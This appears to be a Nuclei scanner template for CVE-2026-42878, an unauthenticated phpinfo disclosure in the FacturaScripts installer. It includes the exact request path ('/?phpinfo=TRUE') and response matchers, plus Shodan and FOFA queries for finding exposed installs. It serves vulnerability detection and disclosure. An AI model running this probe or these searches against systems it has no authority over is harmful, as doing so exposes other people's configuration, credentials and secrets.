Detected FacturaScripts exposes a debug branch in the Installer controller that calls phpinfo() when the request carries the phpinfo=TRUE query parameter, and on an instance that has not finished installation, this endpoint was reachable without authentication.
PoC
id: CVE-2026-42878
info:
name: FacturaScripts - Unauthenticated phpinfo Disclosure
author: ChrisJr404
severity: medium
description: |
Detected FacturaScripts exposes a debug branch in the Installer controller that calls phpinfo() when the request carries the phpinfo=TRUE query parameter, and on an instance that has not finished installation, this endpoint was reachable without authentication.
impact: |
Remote attackers can access sensitive PHP configuration and environment variables, exposing credentials and secrets.
remediation: |
Update to version 2026 or later.
reference:
- https://github.com/advisories/GHSA-vrxf-vrc4-22p7
- https://github.com/NeoRazorX/facturascripts/blob/master/Core/Controller/Installer.php
- https://nvd.nist.gov/vuln/detail/CVE-2026-42878
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-42878
epss-score: 0.009
epss-percentile: 0.58416
cwe-id: CWE-200
metadata:
verified: true
max-request: 2
vendor: facturascripts
product: facturascripts
shodan-query: html:"FacturaScripts installer"
fofa-query: body="FacturaScripts installer"
tags: cve,cve2026,facturascripts,phpinfo,exposure,disclosure,unauth
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: dsl
internal: true
dsl:
- "status_code == 200"
- "contains(body, \"FacturaScripts installer\")"
condition: and
- method: GET
path:
- "{{BaseURL}}/?phpinfo=TRUE"
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_all(to_lower(body), \"phpinfo()</title>\", \"php version\")"
condition: and
# digest: 490a0046304402203744136822b81316f4b3571bdf25aeaaab54f267b7d9a8da8aa6b21ebbdab31402206b3f595c8b0d068bf824013e585c0157d742e4577468e40f932e70c8180c070f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.